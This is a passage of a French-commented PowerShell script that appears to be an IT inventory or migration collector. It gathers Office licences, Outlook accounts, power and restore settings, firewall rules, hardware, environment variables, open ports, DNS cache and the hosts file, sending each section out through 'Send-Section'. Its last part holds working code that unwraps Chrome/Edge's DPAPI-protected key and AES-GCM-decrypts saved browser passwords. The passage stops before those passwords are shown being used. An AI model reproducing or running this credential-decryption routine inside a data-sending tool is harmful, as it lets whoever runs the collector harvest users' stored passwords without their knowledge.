        client_folder    = $c2r.ClientFolder
        platform         = $c2r.Platform
        office_16_cd     = $c2r.CDNBaseUrl
    }
} else { $null }

# Licences Office via WMI (LicenseStatus: 1=licencié)
$officeLicenses = try {
    Get-CimInstance SoftwareLicensingProduct -Filter "LicenseStatus>0" -ErrorAction Stop -OperationTimeoutSec 20 |
        Where-Object { $_.Name -match "Office|365|Visio|Project" } |
        ForEach-Object {
            @{
                name           = $_.Name
                description    = $_.Description
                license_status = switch ($_.LicenseStatus) { 1{"Licencie"} 2{"Grace"} 3{"Grace OOB"} 5{"Notification"} default{"Autre ($_LicenseStatus)"} }
                partial_key    = $_.PartialProductKey
                app_id         = $_.ApplicationId
            }
        }
} catch { @() }

# Autres licences logicielles notables (Adobe, etc.)
$otherLicenses = try {
    Get-CimInstance SoftwareLicensingProduct -Filter "LicenseStatus=1" -ErrorAction Stop -OperationTimeoutSec 20 |
        Where-Object { $_.Name -match "Adobe|AutoCAD|Autodesk|VMware|Parallels" } |
        Select-Object -First 20 |
        ForEach-Object { @{ name = $_.Name; status = "Licencie"; partial_key = $_.PartialProductKey } }
} catch { @() }

# Applications par defaut (navigateur, PDF, messagerie, images, docs, media)
$extMap = @{
    '.html' = 'Navigateur web'
    '.pdf'  = 'Lecteur PDF'
    '.docx' = 'Traitement de texte'
    '.xlsx' = 'Tableur'
    '.pptx' = 'Presentations'
    '.eml'  = 'Client email'
    '.msg'  = 'Client email (MSG)'
    '.jpg'  = 'Visionneuse images'
    '.png'  = 'Visionneuse images (PNG)'
    '.mp4'  = 'Lecteur video'
    '.mp3'  = 'Lecteur audio'
    '.txt'  = 'Editeur texte'
    '.zip'  = 'Archiveur'
    '.mbox' = 'Client email (MBOX)'
}
$defaultApps = @()
foreach ($ext in $extMap.Keys) {
    $choice = Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\$ext\UserChoice" -ErrorAction SilentlyContinue
    $openWith = Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\$ext\OpenWithProgids" -ErrorAction SilentlyContinue
    $defaultApps += @{
        extension   = $ext
        category    = $extMap[$ext]
        prog_id     = $choice.ProgId
        open_withs  = if ($openWith) { ($openWith.PSObject.Properties | Where-Object { $_.Name -notin @('PSPath','PSParentPath','PSChildName','PSDrive','PSProvider') } | Select-Object -First 5 | ForEach-Object { $_.Name }) -join ", " } else { $null }
    }
}

Send-Section "licenses_apps" @{
    office_c2r      = $officeC2R
    office_licenses = @($officeLicenses)
    other_licenses  = @($otherLicenses)
    default_apps    = @($defaultApps)
}

# ── Profils Outlook ───────────────────────────────────────────────────────────
Write-Log "Collecte profils Outlook..." "INFO"

$outlookVersions = @('16.0', '15.0', '14.0', '12.0')
$outlookProfiles = @()
$outlookVersion  = $null

foreach ($ver in $outlookVersions) {
    $profPath = "HKCU:\Software\Microsoft\Office\$ver\Outlook\Profiles"
    if (-not (Test-Path $profPath)) { continue }
    $outlookVersion = $ver
    Get-ChildItem $profPath -ErrorAction SilentlyContinue | ForEach-Object {
        $profileName = $_.PSChildName
        $accounts = @()
        # Sous-cles des comptes : GUID standard 9375CFF0413111d3B88A00104B2A6676
        $acctPath = "$profPath\$profileName\9375CFF0413111d3B88A00104B2A6676"
        if (Test-Path $acctPath) {
            Get-ChildItem $acctPath -ErrorAction SilentlyContinue | ForEach-Object {
                $acct = Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue
                $email = $acct.'Email' -or $acct.'Display Name' -or $acct.'Account Name'
                if ($acct) {
                    $accounts += @{
                        display_name  = $acct.'Display Name'
                        email         = $acct.'Email'
                        account_name  = $acct.'Account Name'
                        server        = $acct.'EAS Server Name' -or $acct.'POP3 Server' -or $acct.'IMAP Server' -or $acct.'Exchange Server'
                        account_type  = if ($acct.'EAS Server Name') { "Exchange ActiveSync" }
                                        elseif ($acct.'Exchange Server') { "Exchange" }
                                        elseif ($acct.'IMAP Server') { "IMAP" }
                                        elseif ($acct.'POP3 Server') { "POP3" }
                                        else { "Inconnu" }
                    }
                }
            }
        }
        $outlookProfiles += @{ profile_name = $profileName; accounts = $accounts }
    }
    if ($outlookProfiles.Count -gt 0) { break }
}

# Fichiers OST/PST (taille du cache)
$outlookDataPath = "$env:LOCALAPPDATA\Microsoft\Outlook"
$ostFiles = try {
    Get-ChildItem $outlookDataPath -Filter "*.ost" -ErrorAction SilentlyContinue |
        ForEach-Object { @{ name = $_.Name; size_gb = [Math]::Round($_.Length/1GB, 3); modified = ConvertTo-IsoDate $_.LastWriteTime; path = $_.FullName } }
} catch { @() }
$pstFiles = try {
    Get-ChildItem $outlookDataPath -Filter "*.pst" -ErrorAction SilentlyContinue |
        ForEach-Object { @{ name = $_.Name; size_gb = [Math]::Round($_.Length/1GB, 3); modified = ConvertTo-IsoDate $_.LastWriteTime; path = $_.FullName } }
} catch { @() }

# Duree du cache Exchange (mois)
$cacheMonths = try {
    $prof = (Get-ChildItem "HKCU:\Software\Microsoft\Office\$outlookVersion\Outlook\Profiles" -ErrorAction Stop | Select-Object -First 1).PSChildName
    (Get-ItemProperty "HKCU:\Software\Microsoft\Office\$outlookVersion\Outlook\Profiles\$prof\0a0d020000000000c000000000000046" -ErrorAction Stop).'00036601'
} catch { $null }

Send-Section "outlook_profiles" @{
    outlook_version = $outlookVersion
    profiles        = @($outlookProfiles)
    ost_files       = @($ostFiles)
    pst_files       = @($pstFiles)
    cache_months    = $cacheMonths
    total_ost_gb    = [Math]::Round(($ostFiles | ForEach-Object { [double]($_.size_gb) } | Measure-Object -Sum).Sum, 3)
    total_pst_gb    = [Math]::Round(($pstFiles | ForEach-Object { [double]($_.size_gb) } | Measure-Object -Sum).Sum, 3)
}

# ── Configuration système complementaire ──────────────────────────────────────
Write-Log "Collecte config systeme complementaire..." "INFO"

# Plan d'alimentation
$powerPlanRaw = try { & powercfg /GetActiveScheme 2>&1 | Out-String } catch { "" }
$powerPlanMatch = $powerPlanRaw | Select-String "GUID\s*:\s*(\S+).*\((.+)\)"
$powerPlan = @{
    active_guid = if ($powerPlanMatch) { $powerPlanMatch.Matches[0].Groups[1].Value } else { $null }
    active_name = if ($powerPlanMatch) { $powerPlanMatch.Matches[0].Groups[2].Value } else { $powerPlanRaw.Trim() }
    all_plans   = $(try { (& powercfg /list 2>&1) -join "`n" } catch { $null })
}

# Paramètres d'alimentation détaillés (registre — indépendant de la locale)
$schemeGuid = $powerPlan.active_guid
$gps = {
    param([string]$Sg,[string]$St)
    if (-not $schemeGuid) { return @{ac=$null;dc=$null} }
    $p = "HKLM:\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\$schemeGuid\$Sg\$St"
    try { $r = Get-ItemProperty $p -ErrorAction Stop; @{ac=[long]$r.ACSettingIndex; dc=[long]$r.DCSettingIndex} }
    catch { @{ac=$null;dc=$null} }
}
$S_SLEEP="238C9FA8-0AAD-41ED-83F4-97BE242C8F20"; $S_VIDEO="7516B95F-F776-4464-8C53-06167F40CC99"
$S_BTNS ="4F971E89-EEBD-4455-A8DE-9E59040E7347"; $S_PROC ="54533251-82BE-4824-96C1-47B60B740D00"
$S_DISK ="0012EE47-9041-4B5D-9B77-535FBA8B1442"
$powerSettings = @{
    screen_off   = & $gps $S_VIDEO "3c0bc021-c8a8-4e07-a973-6b14cbcb2b7e"
    sleep        = & $gps $S_SLEEP "29f6c1db-86da-48c5-9fdb-f2de3304e521"
    hibernate    = & $gps $S_SLEEP "bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d"
    disk_off     = & $gps $S_DISK  "6738e2c4-e8a5-4a42-b16a-e040e769756e"
    cpu_min      = & $gps $S_PROC  "893dee8e-2bef-41e0-89c6-b55d0929964c"
    cpu_max      = & $gps $S_PROC  "bc5038f7-23e0-4960-96da-33abaf5935ec"
    power_btn    = & $gps $S_BTNS  "7648efa3-dd9c-4e3e-b566-50f929386280"
    sleep_btn    = & $gps $S_BTNS  "96996bc0-ad50-47ec-923b-6f41874dd9eb"
    lid_close    = & $gps $S_BTNS  "5ca83367-6e45-459f-a27b-476b1d01c936"
    wake_devices = @(try { & powercfg /devicequery wake_armed 2>&1 | Where-Object { $_.Trim() -and $_ -notmatch 'WAKE_ARMED' } } catch { @() })
    query_raw    = try { & powercfg /query SCHEME_CURRENT 2>&1 | Out-String } catch { "" }
}

# Protection systeme par volume (etat sysdm.cpl)
$sysProtVolumes = @()
try {
    $vssOut = vssadmin list shadowstorage 2>&1 | Out-String
    Get-Volume -ErrorAction Stop |
        Where-Object { $_.DriveLetter -and $_.DriveType -eq 'Fixed' } |
        ForEach-Object {
            $letter = $_.DriveLetter + ":"
            $hasStorage = $vssOut -match [regex]::Escape($letter)
            $sysProtVolumes += @{
                drive   = $letter
                label   = $_.FileSystemLabel
                size_gb = [Math]::Round($_.Size / 1GB, 1)
                free_gb = [Math]::Round($_.SizeRemaining / 1GB, 1)
                enabled = $hasStorage
            }
        }
} catch {}
$sysRestoreConfig = @{}
try {
    $srProps = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" -ErrorAction Stop
    $sysRestoreConfig = @{
        rp_session_interval = $srProps.RPSessionInterval
        disk_percent        = $srProps.DiskPercent
        rp_life_interval    = $srProps.RPLifeInterval
    }
} catch {}

# Points de restauration
$restorePoints = try {
    Get-ComputerRestorePoint -ErrorAction Stop | Select-Object -Last 10 |
        ForEach-Object {
            @{
                description    = $_.Description
                creation_time  = ConvertTo-IsoDate $_.ConvertToDateTime($_.CreationTime)
                restore_type   = $_.RestorePointType
                sequence_number = $_.SequenceNumber
            }
        }
} catch { @() }

# VSS / Shadow copies
$vssStorage = try { & vssadmin list shadowstorage 2>&1 | Out-String } catch { "Non disponible" }
$vssShadows = try {
    $out = & vssadmin list shadows 2>&1 | Select-String "Shadow Copy ID:|Creation time:|Original Volume:" | Select-Object -First 30 | ForEach-Object { $_.Line.Trim() }
    $out -join "`n"
} catch { "Non disponible" }

# Sync temps
$timeSyncRaw = try { & w32tm /query /status 2>&1 | Out-String } catch { "" }
$ntpServer = try { (& w32tm /query /source 2>&1) -join "" } catch { "?" }

# Regles pare-feu personnalisees (inbound actives non-Windows)
$fwRules = try {
    Get-NetFirewallRule -Enabled True -Direction Inbound -Action Allow -ErrorAction Stop |
        Where-Object { $_.Owner -ne $null -and $_.Description -notmatch "Windows|Microsoft|@{" } |
        Select-Object -First 50 |
        ForEach-Object {
            $addr = try { ($_ | Get-NetFirewallAddressFilter -ErrorAction Stop) } catch { $null }
            $port = try { ($_ | Get-NetFirewallPortFilter -ErrorAction Stop) } catch { $null }
            @{
                name        = $_.DisplayName
                profile     = $_.Profile.ToString()
                protocol    = $port.Protocol
                local_port  = $port.LocalPort
                remote_addr = $addr.RemoteAddress
            }
        }
} catch { @() }

# Detection VM / hyperviseur
$cpuHyper = try {
    $reg = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters" -ErrorAction Stop
    @{ physical_host = $reg.PhysicalHostName; platform = "Hyper-V" }
} catch { $null }
$vmInfo = @{
    is_vm             = $isVM
    hypervisor_present = $cs.HypervisorPresent
    model             = $cs.Model
    manufacturer      = $cs.Manufacturer
    hyper_v_guest     = $cpuHyper
}

# Etat des notifications Windows
$notifSettings = @{}
try {
    $nKey = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications"
    if (Test-Path $nKey) {
        $np = Get-ItemProperty $nKey -ErrorAction Stop
        $notifSettings = @{
            toast_enabled     = -not [bool]$np.ToastEnabled -eq $false
            toast_enabled_raw = $np.ToastEnabled
            quiet_hours       = $np.QuietHoursEnabled
            lockscreen_toast  = $np.LockScreenToastEnabled
        }
    }
} catch {}

# Permissions de notification par application
$notifPerApp = @()
try {
    $appsKey = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings"
    if (Test-Path $appsKey) {
        Get-ChildItem $appsKey -ErrorAction SilentlyContinue | Select-Object -First 100 | ForEach-Object {
            $ap = Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue
            $notifPerApp += @{
                app     = $_.PSChildName
                enabled = if ($null -ne $ap.Enabled) { [bool]$ap.Enabled } else { $true }
                rank    = $ap.Rank
            }
        }
    }
} catch {}

Send-Section "system_extra" @{
    power_plan        = $powerPlan
    power_settings    = $powerSettings
    sys_prot_volumes  = @($sysProtVolumes)
    sys_restore_config= $sysRestoreConfig
    restore_points    = @($restorePoints)
    vss_storage       = $vssStorage.Trim()
    vss_shadows       = $vssShadows.Trim()
    time_sync         = $timeSyncRaw.Trim()
    ntp_server        = $ntpServer.Trim()
    firewall_rules    = @($fwRules)
    vm_info           = $vmInfo
    notifications     = $notifSettings
    notif_per_app     = @($notifPerApp)
}

# ── Hardware complementaire ───────────────────────────────────────────────────
Write-Log "Collecte hardware complementaire..." "INFO"
$batteries = Get-CimInstance Win32_Battery -ErrorAction SilentlyContinue | ForEach-Object {
    @{
        name                = $_.Name
        status              = $_.Status
        battery_status      = switch ($_.BatteryStatus) { 1{"Decharge"} 2{"Branche/Charge"} 3{"Plein"} 4{"Faible"} 5{"Critique"} 6{"Charge"} 7{"Charge+Haute"} 8{"Charge+Faible"} 9{"Charge+Critique"} default{"?"} }
        design_capacity_mwh = $_.DesignCapacity
        full_capacity_mwh   = $_.FullChargeCapacity
        charge_pct          = $_.EstimatedChargeRemaining
        runtime_min         = $_.EstimatedRunTime
        chemistry           = switch ($_.Chemistry) { 1{"Autre"} 2{"Inconnu"} 3{"Plomb-acide"} 4{"NiCd"} 5{"NiMH"} 6{"Li-ion"} 7{"NiZn"} 8{"Li-polymere"} default{"?"} }
        wear_pct            = if ($_.DesignCapacity -gt 0) { [Math]::Round((1 - $_.FullChargeCapacity / $_.DesignCapacity) * 100, 1) } else { $null }
    }
}
$tcpPorts = @{}
try {
    Get-CimInstance Win32_TCPIpPrinterPort -ErrorAction SilentlyContinue | ForEach-Object {
        $tcpPorts[$_.Name] = @{ ip = $_.HostAddress; port_num = $_.PortNumber; protocol = if ($_.Protocol -eq 1) { 'RAW' } else { 'LPR' } }
    }
} catch {}
$printers = Get-CimInstance Win32_Printer -ErrorAction SilentlyContinue | ForEach-Object {
    $portName = $_.PortName
    $tcp = $tcpPorts[$portName]
    $portType = if ($tcp) { 'IP' } elseif ($portName -match '^USB') { 'USB' } elseif ($portName -match '^COM\d') { 'Serie' } elseif ($portName -match '^FILE:') { 'Fichier' } else { 'Autre' }
    @{
        name        = $_.Name
        status      = switch ($_.PrinterStatus) { 1{"Autre"} 2{"Inconnu"} 3{"Inactif"} 4{"Impression"} 5{"Chauffe"} 6{"Arret"} 7{"Hors ligne"} default{"?"} }
        default_p   = $_.Default
        shared      = $_.Shared
        port        = $portName
        port_type   = $portType
        ip_address  = $tcp.ip
        ip_port     = $tcp.port_num
        driver      = $_.DriverName
        network     = $_.Network
        location    = $_.Location
    }
}
$printDrivers = try {
    Get-CimInstance Win32_PrinterDriver -ErrorAction SilentlyContinue | ForEach-Object {
        @{
            name         = $_.Name
            version      = $_.DriverVersion
            environment  = $_.SupportedPlatform
            inf_name     = $_.InfName
            driver_path  = $_.DriverPath
        }
    }
} catch { @() }
$scanners = try {
    Get-PnpDevice -Class Image -ErrorAction SilentlyContinue | ForEach-Object {
        $iid = $_.InstanceId
        @{
            name        = $_.FriendlyName
            status      = $_.Status.ToString()
            instance_id = $iid
            present     = $_.Present
            port_type   = if     ($iid -match '^USB\\')           { 'USB' }
                          elseif ($iid -match 'WSD|HTTP|SSDP')    { 'Reseau (WSD)' }
                          elseif ($iid -match '^COM\d|SERIAL')    { 'Serie (COM)' }
                          elseif ($iid -match '^SW\\|^ROOT\\WIA') { 'Logiciel (WIA)' }
                          else                                      { 'Autre' }
        }
    }
} catch { @() }
$sound = Get-CimInstance Win32_SoundDevice -ErrorAction SilentlyContinue | ForEach-Object {
    @{ name = $_.Name; status = $_.Status; manufacturer = $_.Manufacturer; device_id = $_.DeviceID }
}
# Résolution réelle par écran via System.Windows.Forms
Add-Type -AssemblyName System.Windows.Forms -ErrorAction SilentlyContinue
$screens = [System.Windows.Forms.Screen]::AllScreens | ForEach-Object {
    @{
        device_name  = $_.DeviceName
        width        = $_.Bounds.Width
        height       = $_.Bounds.Height
        is_primary   = $_.Primary
        bpp          = $_.BitsPerPixel
        working_w    = $_.WorkingArea.Width
        working_h    = $_.WorkingArea.Height
    }
}

# Modèle/fabricant depuis EDID (root\wmi WmiMonitorID)
$monitorIds = @()
try {
    Get-CimInstance -Namespace root\wmi -ClassName WmiMonitorID -ErrorAction Stop | Where-Object { $_.Active } | ForEach-Object {
        $decode = { param($arr) [System.Text.Encoding]::ASCII.GetString(($arr | Where-Object { $_ -gt 0 }) -as [byte[]]).Trim() }
        $monitorIds += @{
            instance    = $_.InstanceName
            manufacturer= & $decode $_.ManufacturerName
            model       = & $decode $_.UserFriendlyName
            serial      = & $decode $_.SerialNumberID
            year        = $_.YearOfManufacture
            week        = $_.WeekOfManufacture
        }
    }
} catch {}

# Taille physique depuis WmiMonitorBasicDisplayParams
$monitorSizes = @{}
try {
    Get-CimInstance -Namespace root\wmi -ClassName WmiMonitorBasicDisplayParams -ErrorAction Stop | Where-Object { $_.Active } | ForEach-Object {
        $monitorSizes[$_.InstanceName] = @{
            max_h_cm = $_.MaxHorizontalImageSize
            max_v_cm = $_.MaxVerticalImageSize
            diagonal_inch = [Math]::Round([Math]::Sqrt($_.MaxHorizontalImageSize * $_.MaxHorizontalImageSize + $_.MaxVerticalImageSize * $_.MaxVerticalImageSize) / 2.54, 1)
        }
    }
} catch {}

$monitors = @{
    screens     = @($screens)
    monitor_ids = @($monitorIds)
    sizes       = @($monitorSizes.Values)
}
$usb = Get-CimInstance Win32_USBController -ErrorAction SilentlyContinue | ForEach-Object {
    @{ name = $_.Name; status = $_.Status; manufacturer = $_.Manufacturer }
}
$usbDevices = Get-CimInstance Win32_USBHub -ErrorAction SilentlyContinue | ForEach-Object {
    @{ name = $_.Name; device_id = $_.DeviceID; status = $_.Status }
}
$pci = @(
    Get-CimInstance Win32_IDEController  -ErrorAction SilentlyContinue | ForEach-Object { @{ name = $_.Name; status = $_.Status; manufacturer = $_.Manufacturer } }
    Get-CimInstance Win32_SCSIController -ErrorAction SilentlyContinue | ForEach-Object { @{ name = $_.Name; status = $_.Status; manufacturer = $_.Manufacturer } }
)
# Performances memoire live
$os = Get-CimInstance Win32_OperatingSystem -ErrorAction SilentlyContinue
$pagefile = Get-CimInstance Win32_PageFileUsage -ErrorAction SilentlyContinue | ForEach-Object {
    @{ name = $_.Name; current_usage_mb = $_.CurrentUsage; alloc_base_size_mb = $_.AllocatedBaseSize; peak_usage_mb = $_.PeakUsage }
}

Send-Section "hardware_extra" @{
    batteries    = @($batteries)
    printers     = @($printers)
    print_drivers= @($printDrivers)
    scanners     = @($scanners)
    sound        = @($sound)
    monitors     = $monitors
    usb          = @($usb)
    usb_devices  = @($usbDevices)
    pci          = @($pci)
    memory_free_mb   = if ($os) { [Math]::Round($os.FreePhysicalMemory / 1KB) } else { $null }
    memory_total_mb  = if ($os) { [Math]::Round($os.TotalVisibleMemorySize / 1KB) } else { $null }
    virtual_free_mb  = if ($os) { [Math]::Round($os.FreeVirtualMemory / 1KB) } else { $null }
    pagefile     = @($pagefile)
}

# ── Environnement / Runtime ───────────────────────────────────────────────────
Write-Log "Collecte environnement runtime..." "INFO"
$dotnet = @()
$ndp = "HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP"
if (Test-Path $ndp) {
    Get-ChildItem $ndp -Recurse -ErrorAction SilentlyContinue |
        Where-Object { $_.Name -match "\\v\d" } |
        ForEach-Object {
            $ver = $_.GetValue("Version")
            if ($ver) { $dotnet += @{ version = $ver; sp = $_.GetValue("SP"); name = $_.PSChildName } }
        }
}
# .NET 5+
$dotnet5 = try {
    & dotnet --list-runtimes 2>&1 | ForEach-Object { @{ runtime = $_.ToString() } }
} catch { @() }

$vcpp = @()
foreach ($path in @("HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*",
                     "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*")) {
    Get-ItemProperty $path -ErrorAction SilentlyContinue |
        Where-Object { $_.DisplayName -match "Visual C\+\+|MSVC" } |
        ForEach-Object { $vcpp += @{ name = $_.DisplayName; version = $_.DisplayVersion } }
}
$psInfo = @{
    version     = $PSVersionTable.PSVersion.ToString()
    edition     = $PSVersionTable.PSEdition
    clr_version = $PSVersionTable.CLRVersion.ToString()
    build_version = $PSVersionTable.BuildVersion.ToString()
    os          = $PSVersionTable.OS
}
$winFeatures = try {
    Get-WindowsOptionalFeature -Online -ErrorAction Stop |
        Where-Object { $_.State -eq "Enabled" } |
        ForEach-Object { @{ name = $_.FeatureName; state = $_.State.ToString() } }
} catch { @() }

$envVars = [System.Environment]::GetEnvironmentVariables([System.EnvironmentVariableTarget]::Machine).GetEnumerator() |
    ForEach-Object { @{ name = $_.Key; value = $_.Value } } | Sort-Object { $_.name }

$pendingReboots = @{
    cbs       = Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending"
    windows_update = Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired"
    pending_file_ops = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -ErrorAction SilentlyContinue).PendingFileRenameOperations
}

Send-Section "env_runtime" @{
    dotnet_framework = @($dotnet)
    dotnet_modern    = @($dotnet5)
    vcpp_runtimes    = @($vcpp)
    powershell       = $psInfo
    windows_features = @($winFeatures)
    env_vars         = @($envVars)
    pending_reboot   = $pendingReboots.cbs -or $pendingReboots.windows_update
    pending_reboot_detail = $pendingReboots
}

# ── Reseau complementaire ─────────────────────────────────────────────────────
Write-Log "Collecte reseau complementaire..." "INFO"
$shares = try {
    Get-SmbShare -ErrorAction Stop | ForEach-Object {
        @{
            name        = $_.Name
            path        = $_.Path
            description = $_.Description
            special     = $_.Special
            type        = $_.SharingMode.ToString()
        }
    }
} catch {
    (net share 2>&1) -join "`n"
}
$rdpEnabled = try {
    -not [bool](Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -ErrorAction Stop).fDenyTSConnections
} catch { $null }
$rdpPort = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -ErrorAction SilentlyContinue).PortNumber
$winrm = (Get-Service WinRM -ErrorAction SilentlyContinue).Status
$openPorts = try {
    Get-NetTCPConnection -State Listen -ErrorAction Stop | ForEach-Object {
        $proc = try { (Get-Process -Id $_.OwningProcess -ErrorAction Stop).Name } catch { "?" }
        @{ local_port = $_.LocalPort; local_address = $_.LocalAddress; pid = $_.OwningProcess; process = $proc }
    } | Sort-Object { $_.local_port }
} catch {
    (netstat -ano 2>&1) -join "`n"
}
$dnsCache = try {
    Get-DnsClientCache -ErrorAction Stop | Select-Object -First 100 | ForEach-Object {
        @{ entry = $_.Entry; record_name = $_.RecordName; type = $_.Type; ttl = $_.TimeToLive; data = $_.Data }
    }
} catch { (ipconfig /displaydns 2>&1) -join "`n" }

$hostsFile = try { Get-Content "C:\Windows\System32\drivers\etc\hosts" -ErrorAction Stop } catch { $null }

Send-Section "network_extra" @{
    shares       = $shares
    rdp_enabled  = $rdpEnabled
    rdp_port     = $rdpPort
    winrm_status = if ($winrm) { $winrm.ToString() } else { "Inconnu" }
    open_ports   = $openPorts
    dns_cache    = $dnsCache
    hosts_file   = ($hostsFile -join "`n")
}

# ── Profils navigateurs ───────────────────────────────────────────────────────
Write-Log "Collecte profils navigateurs..." "INFO"

# ── SQLite reader (sqlite3.exe ou Python, sans dépendance externe) ────────────
$script:SqliteExe = $null
$script:SqlitePy  = $null
foreach ($exe in @("sqlite3",
        "$env:ProgramFiles\Git\usr\bin\sqlite3.exe",
        "$env:ProgramFiles (x86)\Git\usr\bin\sqlite3.exe")) {
    if (($exe -eq "sqlite3" -and (Get-Command sqlite3 -ErrorAction SilentlyContinue)) -or
        ($exe -ne "sqlite3" -and (Test-Path $exe))) {
        $script:SqliteExe = $exe; break
    }
}
if (-not $script:SqliteExe) {
    foreach ($py in @("python","python3","py")) {
        if (Get-Command $py -ErrorAction SilentlyContinue) {
            $ok = & $py -c "import sqlite3" 2>$null; if ($LASTEXITCODE -eq 0) { $script:SqlitePy = $py; break }
        }
    }
}

function Read-SQLite { param([string]$DbPath, [string]$Sql)
    if (-not (Test-Path $DbPath)) { return $null }
    $tmp = "$env:TEMP\rsd_$(Get-Random).db"
    try { [System.IO.File]::Copy($DbPath, $tmp, $true) } catch { return $null }
    $rows = $null
    try {
        if ($script:SqliteExe) {
            $out = & $script:SqliteExe $tmp ".headers on" ".mode json" $Sql 2>$null
            if ($out) { $rows = ($out -join "") | ConvertFrom-Json -ErrorAction SilentlyContinue }
        } elseif ($script:SqlitePy) {
            $escaped = $Sql.Replace("'", "''").Replace('"', '\"')
            $out = & $script:SqlitePy -c "import sqlite3,json;c=sqlite3.connect(r'$tmp');c.row_factory=sqlite3.Row;print(json.dumps([dict(r) for r in c.execute(r`"$escaped`").fetchmany(500)]))" 2>$null
            if ($out) { $rows = $out | ConvertFrom-Json -ErrorAction SilentlyContinue }
        }
    } catch {}
    finally { Remove-Item $tmp -Force -ErrorAction SilentlyContinue }
    return $rows
}

# ── Déchiffrement Chrome/Edge (BCrypt AES-GCM + DPAPI) ───────────────────────
$script:CryptoLoaded = $false
try {
    Add-Type -TypeDefinition @'
using System; using System.Runtime.InteropServices; using System.Security.Cryptography;
public static class RsdCrypto {
    [DllImport("bcrypt.dll")] static extern int BCryptOpenAlgorithmProvider(out IntPtr h,string a,string i,uint f);
    [DllImport("bcrypt.dll")] static extern int BCryptSetProperty(IntPtr h,string p,byte[] d,int l,uint f);
    [DllImport("bcrypt.dll")] static extern int BCryptGetProperty(IntPtr h,string p,byte[] d,int l,out int w,uint f);
    [DllImport("bcrypt.dll")] static extern int BCryptGenerateSymmetricKey(IntPtr ha,out IntPtr hk,byte[] ko,int ol,byte[] s,int sl,uint f);
    [DllImport("bcrypt.dll")] static extern int BCryptDecrypt(IntPtr hk,byte[] i,int il,ref BACI a,byte[] iv,int ivl,byte[] o,int ol,out int w,uint f);
    [DllImport("bcrypt.dll")] static extern int BCryptDestroyKey(IntPtr h);
    [DllImport("bcrypt.dll")] static extern int BCryptCloseAlgorithmProvider(IntPtr h,uint f);
    [StructLayout(LayoutKind.Sequential)]
    public struct BACI { public uint s,v; public IntPtr pN; public uint cN,pad1; public IntPtr pAD; public uint cAD,pad2; public IntPtr pT; public uint cT,pad3; public IntPtr pMC; public uint cMC,cAAD; public ulong cData; public uint fl; }
    public static byte[] AesGcmDecrypt(byte[] key,byte[] nonce,byte[] ct,byte[] tag) {
        IntPtr ha=IntPtr.Zero,hk=IntPtr.Zero;
        try {
            BCryptOpenAlgorithmProvider(out ha,"AES",null,0);
            var cm=System.Text.Encoding.Unicode.GetBytes("ChainingModeGCM\0");
            BCryptSetProperty(ha,"ChainingMode",cm,cm.Length,0);
            var lb=new byte[4];int wr;BCryptGetProperty(ha,"ObjectLength",lb,4,out wr,0);
            var ko=new byte[BitConverter.ToInt32(lb,0)];
            BCryptGenerateSymmetricKey(ha,out hk,ko,ko.Length,key,key.Length,0);
            var ai=new BACI(); ai.s=(uint)Marshal.SizeOf(typeof(BACI)); ai.v=1;
            var nh=GCHandle.Alloc(nonce,GCHandleType.Pinned); var th=GCHandle.Alloc(tag,GCHandleType.Pinned);
            try {
                ai.pN=nh.AddrOfPinnedObject(); ai.cN=(uint)nonce.Length;
                ai.pT=th.AddrOfPinnedObject(); ai.cT=(uint)tag.Length;
                var plain=new byte[ct.Length]; int dl;
                BCryptDecrypt(hk,ct,ct.Length,ref ai,null,0,plain,plain.Length,out dl,0);
                var r=new byte[dl]; Buffer.BlockCopy(plain,0,r,0,dl); return r;
            } finally { nh.Free(); th.Free(); }
        } finally {
            if(hk!=IntPtr.Zero)BCryptDestroyKey(hk);
            if(ha!=IntPtr.Zero)BCryptCloseAlgorithmProvider(ha,0);
        }
    }
    public static byte[] DpApi(byte[] d) { return ProtectedData.Unprotect(d,null,DataProtectionScope.CurrentUser); }
}
'@ -ErrorAction Stop
    $script:CryptoLoaded = $true
} catch {}

function Get-ChromeAesKey { param([string]$UserDataPath)
    if (-not $script:CryptoLoaded) { return $null }
    $ls = Join-Path $UserDataPath "Local State"
    if (-not (Test-Path $ls)) { return $null }
    try {
        $enc = [Convert]::FromBase64String(((Get-Content $ls -Raw | ConvertFrom-Json).os_crypt.encrypted_key))
        return [RsdCrypto]::DpApi($enc[5..($enc.Length-1)])
    } catch { return $null }
}

function Decrypt-ChromePwd { param([object]$Raw, [byte[]]$Key)
    if (-not $Raw) { return $null }
    try {
        $bytes = if ($Raw -is [byte[]]) { $Raw } else { [byte[]][char[]][string]$Raw }
        if ($bytes.Length -lt 4) { return $null }
        $prefix = [System.Text.Encoding]::ASCII.GetString($bytes[0..2])
        if (($prefix -eq "v10" -or $prefix -eq "v11") -and $Key -and $script:CryptoLoaded) {
            $nonce = $bytes[3..14]
            $tag   = $bytes[($bytes.Length-16)..($bytes.Length-1)]
            $ct    = $bytes[15..($bytes.Length-17)]
            return [System.Text.Encoding]::UTF8.GetString([RsdCrypto]::AesGcmDecrypt($Key, $nonce, $ct, $tag))
        } elseif ($script:CryptoLoaded) {
            return [System.Text.Encoding]::UTF8.GetString([RsdCrypto]::DpApi($bytes))
        }
    } catch {}
    return $null
}

function Get-FileSizeKb { param([string]$Path)
